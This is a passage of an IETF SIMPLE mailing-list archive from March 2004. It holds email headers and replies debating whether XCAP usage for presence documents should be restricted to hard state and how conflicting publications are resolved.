	id 1B3aJU-000633-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:38:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aIZ-0005w8-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:37:27 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aHg-0005j3-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:36:32 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2HCa0fX026980
	for <simple@ietf.org>; Wed, 17 Mar 2004 06:36:00 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 17 Mar 2004 06:33:56 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <HCBRYRPZ>; Wed, 17 Mar 2004 06:34:34 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Chris Boulton'" <cboulton@ubiquity.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 17 Mar 2004 12:33:56.0109 (UTC) FILETIME=[1D2973D0:01C40C1C]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 06:34:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60


Comments inline Chris.
Rgds/gf
> -----Original Message-----
> From: Chris Boulton [mailto:cboulton@ubiquity.com]
> Sent: Wednesday, March 17, 2004 3:44 AM
> To: George Foti (QA/EMC); Jonathan Rosenberg
> Cc: Markus.Isomaki@nokia.com; simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi George,
> 	I'm getting a little confused by this thread.  I don't see any
> benefit of restricting what 'Hard State' data can be set.  The use of
> XCAP and the use of PUBLISH have clearly defined roles.  If a presence
> server requires 'Hard state', it goes away and grabs the latest copy
> from the XCAP repository.  I can see your point that rogue 
> clients might
> use XCAP in a negative manner (e.g. for changing soft state), but this
> can be true of many implementations that bend rules.  As long as it is
> strongly defined that XCAP is used for Hard state and PUBLISH is used
> for soft state, I see no real issue.

Yes, thats my concern.
On the other hand there are *no rules* to bend in this case.
It is currently wide open to manipulate everything.
The language in the draft is very weak in that regard.
Changing the schema is one way to put in rules.
But I am opened to the alternative of strengthening the language in an updated version of the draft and to clearly disallow the usage of XCAP for changing soft states.

Another point in the draft that needs to be adequately addressed relates to the how the composer resolve conflicts between different PUAs.
Currently it is left to magic.

Jonathan alluded to the authorization policies in that regard, which I did not read yet, but is definitely the right place for this thing. So may be draft can refer to that and address the issue a bit more as opposed to saying, "the composer will have to figure out how to do that". 
> 
> Chris. 
> 
> 
> >-----Original Message-----
> >From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> >Sent: 16 March 2004 18:07
> >To: 'Jonathan Rosenberg'
> >Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
> >Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s
> >RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >
> >> Are you suggesting abandoning PUBLISH? Or just changing 
> the schema to
> >> restrict what you can set with xcap?
> >
> >I would like to change the schema to restrict what you can set with
> XCAP.
> >That way we minimize the potential misue of XCAP, both by 
> implementors
> >and/or end users
> >PUBLISH is OK. I see no problems with it.
> >The architecture is Ok as well. We need a way to set hard states.
> >
> >Thnx/gf
> >
> >>
> >> _______________________________________________
> >> Simple mailing list
> >> Simple@ietf.org
> >> https://www1.ietf.org/mailman/listinfo/simple
> >>
> >
> >
> >This communication is confidential and intended solely for the
> >addressee(s). Any unauthorized review, use, disclosure or 
> distribution
> is
> >prohibited. If you believe this message has been sent to you 
> in error,
> >please notify the sender by replying to this transmission and delete
> the
> >message without disclosing it. Thank you.
> >
> >E-mail including attachments is susceptible to data corruption,
> >interruption, unauthorized amendment, tampering and viruses, and we
> only
> >send and receive e-mails on the basis that we are not liable for any
> such
> >corruption, interception, amendment, tampering or viruses or any
> >consequences thereof.
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org
> >https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> This message has been scanned for viruses by MailControl - 
www.mailcontrol.com
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 08:13:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04959
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 08:13:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3arS-0002PY-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 08:13:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aqU-0002Iu-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 08:12:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aq3-0002Cw-00; Wed, 17 Mar 2004 08:12:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aq1-0008O4-90; Wed, 17 Mar 2004 08:12:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3apS-0008Md-9E
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 08:11:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04850
	for <simple@ietf.org>; Wed, 17 Mar 2004 08:11:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3apQ-0002BY-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:11:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aoR-00024s-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:10:25 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3anX-0001yR-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:09:27 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HD9Ma29553;
	Wed, 17 Mar 2004 15:09:22 +0200 (EET)
X-Scanned: Wed, 17 Mar 2004 15:09:17 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2HD9HJs016546;
	Wed, 17 Mar 2004 15:09:17 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00Jn3pow; Wed, 17 Mar 2004 15:09:15 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HD9EF02074;
	Wed, 17 Mar 2004 15:09:14 +0200 (EET)
Received: from nokia.com ([10.162.252.108]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 17 Mar 2004 15:09:12 +0200
Message-ID: <40584DF6.9010608@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 17 Mar 2004 13:09:12.0179 (UTC) FILETIME=[0A701C30:01C40C21]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 15:09:10 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Inline.

ext George Foti (QA/EMC) wrote:
> Comments inline Chris. Rgds/gf
> 
>> -----Original Message----- From: Chris Boulton
>> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
>> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
>> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
>> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
>> draft-isomaki-simple-xcap-publish-usage-00)
>> 
>> 
>> Hi George, I'm getting a little confused by this thread.  I don't
>> see any benefit of restricting what 'Hard State' data can be set.
>> The use of XCAP and the use of PUBLISH have clearly defined roles.
>> If a presence server requires 'Hard state', it goes away and grabs
>> the latest copy from the XCAP repository.  I can see your point
>> that rogue clients might use XCAP in a negative manner (e.g. for
>> changing soft state), but this can be true of many implementations
>> that bend rules.  As long as it is strongly defined that XCAP is
>> used for Hard state and PUBLISH is used for soft state, I see no
>> real issue.
> 
> 
> Yes, thats my concern. On the other hand there are *no rules* to bend
> in this case. It is currently wide open to manipulate everything. The
> language in the draft is very weak in that regard. Changing the
> schema is one way to put in rules. But I am opened to the alternative
> of strengthening the language in an updated version of the draft and
> to clearly disallow the usage of XCAP for changing soft states.

You make it sound like it was currently allowed. Well, it isn't, and in 
addition, it's not even possible. PUBLISH carries soft event state. The 
only way to manipulate that state is to use PUBLISH, and have possession 
of the corresponding publication etag.

I'm not aware of any text that suggests that the soft event state 
manipulated with PUBLISH somehow also finds its way into the XCAP tree.

> Another point in the draft that needs to be adequately addressed
> relates to the how the composer resolve conflicts between different
> PUAs. Currently it is left to magic.

At least I'm open to suggestions as to how you think it should be 
defined. For example, draft-roach-simple-service-features-00 descries 
some very good rules for determining what (service or communication 
means) a specific tuple is representing. I reckon resolving the 
conflicts becomes much easier if rules of comparison for detecting 
conflicts would be derived from those definitions, or something similar.

> Jonathan alluded to the authorization policies in that regard, which
> I did not read yet, but is definitely the right place for this thing.
> So may be draft can refer to that and address the issue a bit more as
> opposed to saying, "the composer will have to figure out how to do
> that".

That's exactly what PUBLISH does. Both PUBLISH and this XCAP usage are 
not meant to define the entire system, just the procedures for inserting 
state (hard or soft) into that system.

Cheers,
Aki

> 
>> Chris.
>> 
>> 
>> 
>>> -----Original Message----- From: George Foti (QA/EMC)
>>> [mailto:george.foti@ericsson.com] Sent: 16 March 2004 18:07 To:
>>> 'Jonathan Rosenberg' Cc: 'Markus.Isomaki@nokia.com';
>>> simple@ietf.org Subject: RE: [Simple] RE: Comments on
>>> PIDF-Manipulation Usage-00draft
>> 
>> (wa s
>> 
>>> RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>>> 
>>> 
>>>> Are you suggesting abandoning PUBLISH? Or just changing
>> 
>> the schema to
>> 
>>>> restrict what you can set with xcap?
>>> 
>>> I would like to change the schema to restrict what you can set
>>> with
>> 
>> XCAP.
>> 
>>> That way we minimize the potential misue of XCAP, both by
>> 
>> implementors
>> 
>>> and/or end users PUBLISH is OK. I see no problems with it. The
>>> architecture is Ok as well. We need a way to set hard states.
>>> 
>>> Thnx/gf
>>> 
>>> 
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org 
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> This communication is confidential and intended solely for the 
>>> addressee(s). Any unauthorized review, use, disclosure or
>> 
>> distribution is
>> 
>>> prohibited. If you believe this message has been sent to you
>> 
>> in error,
>> 
>>> please notify the sender by replying to this transmission and
>>> delete
>> 
>> the
>> 
>>> message without disclosing it. Thank you.
>>> 
>>> E-mail including attachments is susceptible to data corruption, 
>>> interruption, unauthorized amendment, tampering and viruses, and
>>> we
>> 
>> only
>> 
>>> send and receive e-mails on the basis that we are not liable for
>>> any
>> 
>> such
>> 
>>> corruption, interception, amendment, tampering or viruses or any 
>>> consequences thereof.
>>> 
>>> _______________________________________________ Simple mailing
>>> list Simple@ietf.org 
>>> https://www1.ietf.org/mailman/listinfo/simple
>> 
>> 
>> This message has been scanned for viruses by MailControl -
> 
> www.mailcontrol.com
> 
> 
> This communication is confidential and intended solely for the
> addressee(s). Any unauthorized review, use, disclosure or
> distribution is prohibited. If you believe this message has been sent
> to you in error, please notify the sender by replying to this
> transmission and delete the message without disclosing it. Thank you.
> 
> 
> E-mail including attachments is susceptible to data corruption,
> interruption, unauthorized amendment, tampering and viruses, and we
> only send and receive e-mails on the basis that we are not liable for
> any such corruption, interception, amendment, tampering or viruses or
> any consequences thereof.
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 08:14:00 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04987
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 08:14:00 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3arU-000054-1T
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 08:13:32 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2HDDWb7000304
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 08:13:32 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3arT-0008WV-TW
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 08:13:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04977
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 08:13:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3arS-0002Pd-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 08:13:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aqV-0002J1-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 08:12:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aq3-0002Cw-00; Wed, 17 Mar 2004 08:12:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aq1-0008O4-90; Wed, 17 Mar 2004 08:12:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3apS-0008Md-9E
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 08:11:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04850
	for <simple@ietf.org>; Wed, 17 Mar 2004 08:11:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3apQ-0002BY-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:11:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aoR-00024s-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:10:25 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3anX-0001yR-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:09:27 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HD9Ma29553;
	Wed, 17 Mar 2004 15:09:22 +0200 (EET)
X-Scanned: Wed, 17 Mar 2004 15:09:17 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2HD9HJs016546;
	Wed, 17 Mar 2004 15:09:17 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00Jn3pow; Wed, 17 Mar 2004 15:09:15 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HD9EF02074;
	Wed, 17 Mar 2004 15:09:14 +0200 (EET)
Received: from nokia.com ([10.162.252.108]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 17 Mar 2004 15:09:12 +0200
Message-ID: <40584DF6.9010608@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 17 Mar 2004 13:09:12.0179 (UTC) FILETIME=[0A701C30:01C40C21]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 15:09:10 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Inline.

ext George Foti (QA/EMC) wrote:
> Comments inline Chris. Rgds/gf
> 
>> -----Original Message----- From: Chris Boulton
>> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
>> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
>> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
>> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
>> draft-isomaki-simple-xcap-publish-usage-00)
>> 
>> 
>> Hi George, I'm getting a little confused by this thread.  I don't
>> see any benefit of restricting what 'Hard State' data can be set.
>> The use of XCAP and the use of PUBLISH have clearly defined roles.
>> If a presence server requires 'Hard state', it goes away and grabs
>> the latest copy from the XCAP repository.  I can see your point
>> that rogue clients might use XCAP in a negative manner (e.g. for
>> changing soft state), but this can be true of many implementations
>> that bend rules.  As long as it is strongly defined that XCAP is
>> used for Hard state and PUBLISH is used for soft state, I see no
>> real issue.
> 
> 
> Yes, thats my concern. On the other hand there are *no rules* to bend
> in this case. It is currently wide open to manipulate everything. The
> language in the draft is very weak in that regard. Changing the
> schema is one way to put in rules. But I am opened to the alternative
> of strengthening the language in an updated version of the draft and
> to clearly disallow the usage of XCAP for changing soft states.

You make it sound like it was currently allowed. Well, it isn't, and in 
addition, it's not even possible. PUBLISH carries soft event state. The 
only way to manipulate that state is to use PUBLISH, and have possession 
of the corresponding publication etag.

I'm not aware of any text that suggests that the soft event state 
manipulated with PUBLISH somehow also finds its way into the XCAP tree.

> Another point in the draft that needs to be adequately addressed
> relates to the how the composer resolve conflicts between different
> PUAs. Currently it is left to magic.

At least I'm open to suggestions as to how you think it should be 
defined. For example, draft-roach-simple-service-features-00 descries 
some very good rules for determining what (service or communication 
means) a specific tuple is representing. I reckon resolving the 
conflicts becomes much easier if rules of comparison for detecting 
conflicts would be derived from those definitions, or something similar.

> Jonathan alluded to the authorization policies in that regard, which
> I did not read yet, but is definitely the right place for this thing.
> So may be draft can refer to that and address the issue a bit more as
> opposed to saying, "the composer will have to figure out how to do
> that".

That's exactly what PUBLISH does. Both PUBLISH and this XCAP usage are 
not meant to define the entire system, just the procedures for inserting 
state (hard or soft) into that system.

Cheers,
Aki

> 
>> Chris.
>> 
>> 
>> 
>>> -----Original Message----- From: George Foti (QA/EMC)
>>> [mailto:george.foti@ericsson.com] Sent: 16 March 2004 18:07 To:
>>> 'Jonathan Rosenberg' Cc: 'Markus.Isomaki@nokia.com';
>>> simple@ietf.org Subject: RE: [Simple] RE: Comments on
>>> PIDF-Manipulation Usage-00draft
>> 
>> (wa s
>> 
>>> RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>>> 
>>> 
>>>> Are you suggesting abandoning PUBLISH? Or just changing
>> 
>> the schema to
>> 
>>>> restrict what you can set with xcap?
>>> 
>>> I would like to change the schema to restrict what you can set
>>> with
>> 
>> XCAP.
>> 
>>> That way we minimize the potential misue of XCAP, both by
>> 
>> implementors
>> 
>>> and/or end users PUBLISH is OK. I see no problems with it. The
>>> architecture is Ok as well. We need a way to set hard states.
>>> 
>>> Thnx/gf
>>> 
>>> 
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org 
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> This communication is confidential and intended solely for the 
>>> addressee(s). Any unauthorized review, use, disclosure or
>> 
>> distribution is
>> 
>>> prohibited. If you believe this message has been sent to you
>> 
>> in error,
>> 
>>> please notify the sender by replying to this transmission and
>>> delete
>> 
>> the
>> 
>>> message without disclosing it. Thank you.
>>> 
>>> E-mail including attachments is susceptible to data corruption, 
>>> interruption, unauthorized amendment, tampering and viruses, and
>>> we
>> 
>> only
>> 
>>> send and receive e-mails on the basis that we are not liable for
>>> any
>> 
>> such
>> 
>>> corruption, interception, amendment, tampering or viruses or any 
>>> consequences thereof.
>>> 
>>> _______________________________________________ Simple mailing
>>> list Simple@ietf.org 
>>> https://www1.ietf.org/mailman/listinfo/simple
>> 
>> 
>> This message has been scanned for viruses by MailControl -
> 
> www.mailcontrol.com
> 
> 
> This communication is confidential and intended solely for the
> addressee(s). Any unauthorized review, use, disclosure or
> distribution is prohibited. If you believe this message has been sent
> to you in error, please notify the sender by replying to this
> transmission and delete the message without disclosing it. Thank you.
> 
> 
> E-mail including attachments is susceptible to data corruption,
> interruption, unauthorized amendment, tampering and viruses, and we
> only send and receive e-mails on the basis that we are not liable for
> any such corruption, interception, amendment, tampering or viruses or
> any consequences thereof.
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 08:20:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05412
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 08:20:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ayX-0003MN-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 08:20:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3axf-0003Dp-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 08:19:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3awr-000341-00; Wed, 17 Mar 2004 08:19:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3awm-0000MX-Kp; Wed, 17 Mar 2004 08:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3awJ-0000M9-EI
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 08:18:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05158
	for <simple@ietf.org>; Wed, 17 Mar 2004 08:18:29 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3awI-0002zc-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:18:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3avM-0002tM-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:17:33 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3av1-0002nh-00
	for simple@ietf.org; Wed, 17 Mar 2004 08:17:11 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HDGw425763;
	Wed, 17 Mar 2004 15:16:58 +0200 (EET)
X-Scanned: Wed, 17 Mar 2004 15:17:46 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2HDHk8F021263;
	Wed, 17 Mar 2004 15:17:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00JskNVp; Wed, 17 Mar 2004 15:13:28 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2HDCYs13542;
	Wed, 17 Mar 2004 15:12:34 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 17 Mar 2004 15:12:30 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
